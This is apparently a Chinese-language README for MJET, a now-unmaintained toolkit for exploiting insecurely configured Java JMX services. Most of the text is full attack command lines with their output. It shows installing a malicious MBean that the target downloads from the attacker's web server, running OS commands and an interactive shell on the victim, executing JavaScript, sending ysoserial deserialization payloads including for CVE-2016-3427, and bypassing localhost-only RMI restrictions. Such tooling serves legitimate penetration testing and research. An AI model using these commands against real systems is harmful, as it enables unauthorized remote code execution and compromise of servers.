由 MOGWAI LABS 出品的 MJET

MOGWAI LABS JMX 利用工具包

MJET 是 sjet 的一个分支，后者由 siberas 开发，但已不再积极维护。MJET 由 MOGWAI LABS 团队维护，该团队也提供了原始 sjet 代码库的大部分内容。

MJET 可以轻松利用配置不安全的 JMX 服务。更多背景信息可在此处和此处找到。

!!! 重要：此项目不再维护

此仓库不再积极维护。我们建议改用 qtcs beanshooter。

前提条件

Jython 2.7
Ysoserial（用于通过 JMX 利用反序列化漏洞）
opendmk_jmxremote_optional_jar-1.0-b01-ea.jar（用于支持备选的 JMX 消息协议（JMXMP））

用法

MJET 实现了一个命令行界面（使用 argparse）：

jython mjet.py targetHost targetPort MODE password (modeOptions)

其中

targetHost - 目标 IP 地址
targetPort - JMX 运行的目标端口
MODE - 脚本模式
modeOptions - 所选模式的选项

身份验证支持（如果启用了 JMX 身份验证）：

--jmxrole - 用户名
--jmxpassword - 密码

其他可选参数：

--jmxmp - 使用 JMX-MP（需要加载额外的 JAR）
--localhost_bypass - localhost 绕过中代理的服务端口
--shell - 使用指定的 shell
--rmiObjectName - JMX 端点的 RMI 名称

模式与 modeOptions

install - 在当前目标上安装 payload
- password - 安装成功后应设置的密码
- payload_url - 加载 payload 的完整 URL
- payload_port - 加载 payload 的端口
uninstall - 从当前目标卸载 payload
changepw - 更改已部署 payload 的密码
- password - 访问已安装 MBean 的密码
- newpass - 新密码
command - 在 targetHost 上运行命令 CMD
- password - 访问已安装 MBean 的密码
- CMD - 要运行的命令
shell - 在 targetHost 中启动一个简单 shell（受限于 Java 的 Runtime.exec()）
- password - 访问已安装 MBean 的密码
javascript - 在 targetHost 中运行 JavaScript 文件 FILENAME
- password - 访问已安装 MBean 的密码
- FILENAME - 要运行的 JavaScript
deserialize - 向目标发送 ysoserial payload
- gadget - ysoserial 提供的 gadget，例如 CommonsCollections6
- cmd - 要执行的命令
webserver - 仅运行 MLET Web 服务器
- payload_url - 加载 payload 的完整 URL
- payload_port - 加载 payload 的端口

示例

在易受攻击的 JMX 服务上安装 payload MBean

在以下示例中，易受攻击的 JMX 服务运行在 10.165.188.23 的 2222 端口，攻击者的 IP 地址为 10.165.188.1。该 JMX 服务将连接攻击者的 Web 服务以下载 payload jar 文件。MJET 将在 8000 端口启动所需的 Web 服务。

安装 MBean 成功后，默认密码会被更改为命令行中提供的密码（"super_secret"）。

h0ng10@rocksteady ~/w/mjet> java -jar jython-standalone-2.7.0.jar mjet.py 10.165.188.23 2222 install super_secret http://10.165.188.1:8000 8000

MJET - MOGWAI LABS JMX Exploitation Toolkit
===========================================
[+] Starting webserver at port 8000
[+] Connecting to: service:jmx:rmi:///jndi/rmi://10.165.188.23:2222/jmxrmi
[+] Connected: rmi://10.165.188.1  1
[+] Loaded javax.management.loading.MLet
[+] Loading malicious MBean from http://10.165.188.1:8000
[+] Invoking: javax.management.loading.MLet.getMBeansFromURL
10.165.188.23 - - [26/Apr/2019 21:50:37] "GET / HTTP/1.1" 200 -
[+] Successfully loaded MBeanMogwaiLabs:name=payload,id=1
[+] Changing default password...
[+] Loaded de.mogwailabs.MogwaiLabsMJET.MogwaiLabsPayload
[+] Successfully changed password
[+] Done
h0ng10@rocksteady ~/w/mjet>

使用 JMX 凭据安装（同样需要服务器的弱配置）：

h0ng10@rocksteady:~/mjet$ jython mjet.py 192.168.11.136 9991 install super_secret http://192.168.11.132:8000 8000 --jmxrole JMXUSER --jmxpassword JMXPASSWORD
mJET - MOGWAI LABS JMX Exploitation Toolkit
=======================================
[+] Starting webserver at port 8000
[+] Connecting to: service:jmx:rmi:///jndi/rmi://192.168.11.136:9991/jmxrmi
[+] Using credentials: JMXUSER / JMXPASSWORD
[+] Connected: rmi://192.168.11.132  1
[+] Loaded javax.management.loading.MLet
[+] Loading malicious MBean from http://192.168.11.132:8000
[+] Invoking: javax.management.loading.MLet.getMBeansFromURL
192.168.11.136 - - [22/Aug/2017 22:38:00] "GET / HTTP/1.1" 200 -
192.168.11.136 - - [22/Aug/2017 22:38:00] "GET /mogwailabs_mlet.jar HTTP/1.1" 200 -
[+] Successfully loaded MBeanMogwaiLabs:name=payload,id=1
[+] Changing default password...
[+] Loaded de.mogwailabs.mlet.MogwaiLabsPayload
[+] Successfully changed password

h0ng10@rocksteady:~/mjet$

在 Linux 目标上运行命令 'ls -la'：

安装 payload 后，我们可以使用它在目标上执行操作系统命令。

h0ng10@rocksteady ~/w/mjet> jython mjet.py 10.165.188.23 2222 command super_secret "ls -la"

MJET - MOGWAI LABS JMX Exploitation Toolkit
===========================================
[+] Connecting to: service:jmx:rmi:///jndi/rmi://10.165.188.23:2222/jmxrmi
[+] Connected: rmi://10.165.188.1  4
[+] Loaded de.mogwailabs.MogwaiLabsMJET.MogwaiLabsPayload
[+] Executing command: ls -la
total 20
drwxr-xr-x  5 root    root    4096 Apr 26 11:12 .
drwxr-xr-x 33 root    root    4096 Apr 10 13:54 ..
lrwxrwxrwx  1 root    root      12 Aug 13  2018 conf -> /etc/tomcat8
drwxr-xr-x  2 tomcat8 tomcat8 4096 Aug 13  2018 lib
lrwxrwxrwx  1 root    root      17 Aug 13  2018 logs -> ../../log/tomcat8
drwxr-xr-x  2 root    root    4096 Apr 26 11:12 policy
drwxrwxr-x  3 tomcat8 tomcat8 4096 Apr 10 13:54 webapps
lrwxrwxrwx  1 root    root      19 Aug 13  2018 work -> ../../cache/tomcat8


[+] Done
h0ng10@rocksteady ~/w/mjet>

以 shell 模式运行

如果你不想为每条命令都加载 Java，可以使用“shell 模式”获得一个受限的命令 shell。

h0ng10@rocksteady ~/w/mjet> jython mjet.py 10.165.188.23 2222 shell super_secret 

MJET - MOGWAI LABS JMX Exploitation Toolkit
===========================================
[+] Connecting to: service:jmx:rmi:///jndi/rmi://10.165.188.23:2222/jmxrmi
[+] Connected: rmi://10.165.188.1  5
[+] Use command 'exit_shell' to exit the shell
>>> ls -la
[+] Loaded de.mogwailabs.MogwaiLabsMJET.MogwaiLabsPayload
[+] Executing command: ls -la
total 20
drwxr-xr-x  5 root    root    4096 Apr 26 11:12 .
drwxr-xr-x 33 root    root    4096 Apr 10 13:54 ..
lrwxrwxrwx  1 root    root      12 Aug 13  2018 conf -> /etc/tomcat8
drwxr-xr-x  2 tomcat8 tomcat8 4096 Aug 13  2018 lib
lrwxrwxrwx  1 root    root      17 Aug 13  2018 logs -> ../../log/tomcat8
drwxr-xr-x  2 root    root    4096 Apr 26 11:12 policy
drwxrwxr-x  3 tomcat8 tomcat8 4096 Apr 10 13:54 webapps
lrwxrwxrwx  1 root    root      19 Aug 13  2018 work -> ../../cache/tomcat8


>>> pwd
[+] Loaded de.mogwailabs.MogwaiLabsMJET.MogwaiLabsPayload
[+] Executing command: pwd
/var/lib/tomcat8


>>> exit_shell
[+] Done
h0ng10@rocksteady ~/w/mjet>

在目标上调用 JavaScript payload：

示例脚本“javaproperties.js”会显示易受攻击服务的 Java 属性。可按如下方式调用：

h0ng10@rocksteady ~/w/mjet> jython mjet.py 10.165.188.23 2222 javascript super_secret scripts/javaproperties.js 

MJET - MOGWAI LABS JMX Exploitation Toolkit
===========================================
[+] Connecting to: service:jmx:rmi:///jndi/rmi://10.165.188.23:2222/jmxrmi
[+] Connected: rmi://10.165.188.1  6
[+] Loaded de.mogwailabs.MogwaiLabsMJET.MogwaiLabsPayload
[+] Executing script
awt.toolkit=sun.awt.X11.XToolkit
java.specification.version=11
sun.cpu.isalist=
sun.jnu.encoding=UTF-8
java.class.path=/usr/share/tomcat8/bin/bootstrap.jar:/usr/share/tomcat8/bin/tomcat-juli.jar
com.sun.management.jmxremote.authenticate=false
java.vm.vendor=Oracle Corporation
sun.arch.data.model=64
...


[+] Done

更改密码

将现有密码（“super_secret”）更改为“this-is-the-new-password”：

h0ng10@rocksteady ~/w/mjet> jython mjet.py 10.165.188.23 2222 changepw super_secret this-is-the-new-password

MJET - MOGWAI LABS JMX Exploitation Toolkit
===========================================
[+] Connecting to: service:jmx:rmi:///jndi/rmi://10.165.188.23:2222/jmxrmi
[+] Connected: rmi://10.165.188.1  7
[+] Loaded de.mogwailabs.MogwaiLabsMJET.MogwaiLabsPayload
[+] Successfully changed password
[+] Done

从目标卸载 payload MBean

从目标卸载 payload MBean“MogwaiLabs”：

h0ng10@rocksteady ~/w/mjet> jython mjet.py 10.165.188.23 2222 uninstall

MJET - MOGWAI LABS JMX Exploitation Toolkit
===========================================
[+] Connecting to: service:jmx:rmi:///jndi/rmi://10.165.188.23:2222/jmxrmi
[+] Connected: rmi://10.165.188.1  8
[+] MBean correctly uninstalled
[+] Done

使用 ysoserial 利用 Java 反序列化

在目标上使用 ysoserial 利用 Java 反序列化： ysoserial.jar 文件必须位于 MJET 目录中。你可以像使用原始 ysoserial 调用一样，任意选择 ysoserial payload。

即使启用了 JMX 身份验证且用户具有“readonly”权限，此攻击也有效。

h0ng10@rocksteady ~/w/mjet> jython mjet.py --jmxrole user --jmxpassword userpassword 10.165.188.23 2222 deserialize CommonsCollections6 "touch /tmp/xxx"

MJET - MOGWAI LABS JMX Exploitation Toolkit
===========================================
[+] Added ysoserial API capacities
[+] Connecting to: service:jmx:rmi:///jndi/rmi://10.165.188.23:2222/jmxrmi
[+] Using credentials: user / userpassword
[+] Connected: rmi://10.165.188.1 user 21
[+] Loaded sun.management.ManagementFactoryHelper$PlatformLoggingImpl
[+] Passing ysoserial object as parameter to getLoggerLevel(String loglevel)
[+] Got an access denied exception - this is expected

[+] Done

利用 CVE-2016-3427：带 Java 反序列化的 JMX 身份验证

使用 ysoserial 利用 CVE-2016-3427： ysoserial.jar 文件必须位于 MJET/jar 目录中。你可以像使用原始 ysoserial 调用一样，任意选择 ysoserial payload。

$ java -jar jython.jar mjet.py 127.0.0.1 9999 cve-2016-3427 CommonsCollections6 "touch /tmp/xxx"

MJET - MOGWAI LABS JMX Exploitation Toolkit
===========================================
[+] Added ysoserial API capacities
[+] Using JMX RMI
[+] Connecting to: service:jmx:rmi:///jndi/rmi://127.0.0.1:9999/jmxrmi
[+] Object was deserialized, target could be vulnerable
[?]: Returned error:
(<type 'java.lang.SecurityException'>, java.lang.SecurityException: Authentication failed! Credentials should be String[] instead of java.util.HashSet, <traceback object at 0x2>)
[+] Done

参考：https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-3427

仅 Web 服务器模式

也可以仅运行提供 MLET 代码和包含 payload MBean 的 JAR 文件的 Web 服务器：

h0ng10@rocksteady ~/w/mjet> jython mjet.py 10.165.188.23 2222 webserver http:/xxxx/xxxx 8000

MJET - MOGWAI LABS JMX Exploitation Toolkit
===========================================
[+] Starting webserver at port 8000
[+] Press Enter to stop the service

JMX 消息协议（JMXMP）支持

下载 opendmk_jmxremote_optional_jar-1.0-b01-ea.jar 并将其移动到 jars 目录。你需要通过 java -cp 将此目录添加到 classpath。

java -cp "jython.jar:jars/*" org.python.util.jython mjet.py shell mypass

Localhost 绕过

有时 RMI 注册表会暴露一个仅在 localhost 上可访问的 RemoteObject（例如 @127.0.0.1:45401）。然而，该 RemoteObject 可通过网络访问的端口是开放的。

$ nmap -sVC 172.17.0.2 -p 9999,45401

Starting Nmap 7.60 ( https://nmap.org ) at 2020-03-24 16:48 CET
Nmap scan report for 172.17.0.2
Host is up (0.00035s latency).

PORT      STATE SERVICE     VERSION
9999/tcp  open  java-rmi    Java RMI Registry
| rmi-dumpregistry: 
|   jmxrmi
|      implements javax.management.remote.rmi.RMIServer, 
|     extends
|       java.lang.reflect.Proxy
|       fields
|           Ljava/lang/reflect/InvocationHandler; h
|             java.rmi.server.RemoteObjectInvocationHandler
|             @127.0.0.1:45401
|             extends
|_              java.rmi.server.RemoteObject
45401/tcp open  rmiregistry Java RMI

仍然可以通过使用 --localhost_bypass <PORT> 选项来利用此服务。在以下示例中，我们使用端口 45401。这将在 localhost 上启动一个 TCP 代理，并将流量转发到指定端口上的 targetHost。

$ jython mjet.py --localhost_bypass 45401 172.17.0.2 9999 install mypass http://172.17.0.1:6666 6666

MJET - MOGWAI LABS JMX Exploitation Toolkit
===========================================
[+] Starting webserver at port 6666
[+] Using JMX RMI
[+] Connecting to: service:jmx:rmi:///jndi/rmi://172.17.0.2:9999/jmxrmi
[+] Started localhost proxy on port 45401
[+] Connected: rmi://172.17.0.1  17
[+] Loaded javax.management.loading.MLet
[+] Loading malicious MBean from http://172.17.0.1:6666
[+] Invoking: javax.management.loading.MLet.getMBeansFromURL
172.17.0.2 - - [24/Mar/2020 18:07:01] "GET / HTTP/1.1" 200 -
[+] Successfully loaded MBeanMogwaiLabs:name=payload,id=1
[+] Changing default password...
[+] Loaded de.mogwailabs.MogwaiLabsMJET.MogwaiLabsPayload
[+] Successfully changed password
[+] Done

自定义 RMI 对象名称

有时 JMX 端点的 RMI 对象名称不是 jmxrmi，在这种情况下，可以使用 --rmiObjectName 参数来指定适当的 RMI 对象名称，例如 --rmiObjectName=customJmxRmi。

$ jython mjet.py --rmiObjectName=customJmxRmi 172.17.0.2 2222 super_secret install http://172.17.0.1:8000 8000

MJET - MOGWAI LABS JMX Exploitation Toolkit
===========================================
[+] Starting webserver at port 8000
[+] Connecting to: service:jmx:rmi:///jndi/rmi://10.165.188.23:2222/customJmxRmi
[+] Connected: rmi://10.165.188.1  1
[+] Loaded javax.management.loading.MLet
[+] Loading malicious MBean from http://10.165.188.1:8000
[+] Invoking: javax.management.loading.MLet.getMBeansFromURL
10.165.188.23 - - [26/Apr/2019 21:50:37] "GET / HTTP/1.1" 200 -
[+] Successfully loaded MBeanMogwaiLabs:name=payload,id=1
[+] Changing default password...
[+] Loaded de.mogwailabs.MogwaiLabsMJET.MogwaiLabsPayload
[+] Successfully changed password
[+] Done
$

使用自定义 Shell

有时目标系统不提供 /bin/bash 或 cmd.exe shell。在这种情况下，可以指定可选参数 --shell，例如 --shell="bash -c"。通过使用 mjet.py 执行 javascript javaproperties.js，可以获得有关环境的更多详细信息。

$ jython mjet.py --shell="bash -c" 10.165.188.23 2222 command super_secret "ls -la"

MJET - MOGWAI LABS JMX Exploitation Toolkit
===========================================
[+] Connecting to: service:jmx:rmi:///jndi/rmi://10.165.188.23:2222/jmxrmi
[+] Connected: rmi://10.165.188.1  4
[+] Loaded de.mogwailabs.MogwaiLabsMJET.MogwaiLabsPayload
[+] Executing command: ls -la
total 20
drwxr-xr-x  5 root    root    4096 Apr 26 11:12 .
drwxr-xr-x 33 root    root    4096 Apr 10 13:54 ..
lrwxrwxrwx  1 root    root      12 Aug 13  2018 conf -> /etc/tomcat8
drwxr-xr-x  2 tomcat8 tomcat8 4096 Aug 13  2018 lib
lrwxrwxrwx  1 root    root      17 Aug 13  2018 logs -> ../../log/tomcat8
drwxr-xr-x  2 root    root    4096 Apr 26 11:12 policy
drwxrwxr-x  3 tomcat8 tomcat8 4096 Apr 10 13:54 webapps
lrwxrwxrwx  1 root    root      19 Aug 13  2018 work -> ../../cache/tomcat8


[+] Done
$

参考：https://www.optiv.com/blog/exploiting-jmx-rmi

Docker

构建并运行 docker 镜像

# Build
docker build -t mjet .
# Run Help
docker run mjet
# Exploit example
docker run mjet 10.165.188.23 2222 install super_secret http://10.165.188.1:8000 8000
# Run Interactive into shell
docker run --entrypoint /bin/sh -it mjet

默认情况下，Docker 镜像会为 HTTP 服务器暴露 8000 端口。如果你需要其他端口，请记得将其暴露出来！

参与贡献

欢迎随时贡献。

作者

Hans-Martin Münch - 最初的想法与工作 - h0ng10
Patricio Reller - CLI 与额外选项 - preller
Ben Campbell - 多项改进 - Meatballs1
Arnim Rupp - 身份验证支持
Sebastian Kindler - 反序列化支持
Karsten Zeides - JMX 消息协议支持、localhost 绕过 zeides
g60ocR - Docker 文件 g60ocR
Morn98 - Shell 与 RMI 选择 Morn98)

另请参阅参与此项目的贡献者列表。

许可证

此项目根据 MIT 许可证授权 - 有关详细信息，请参阅 LICENSE 文件。

mjet

最受欢迎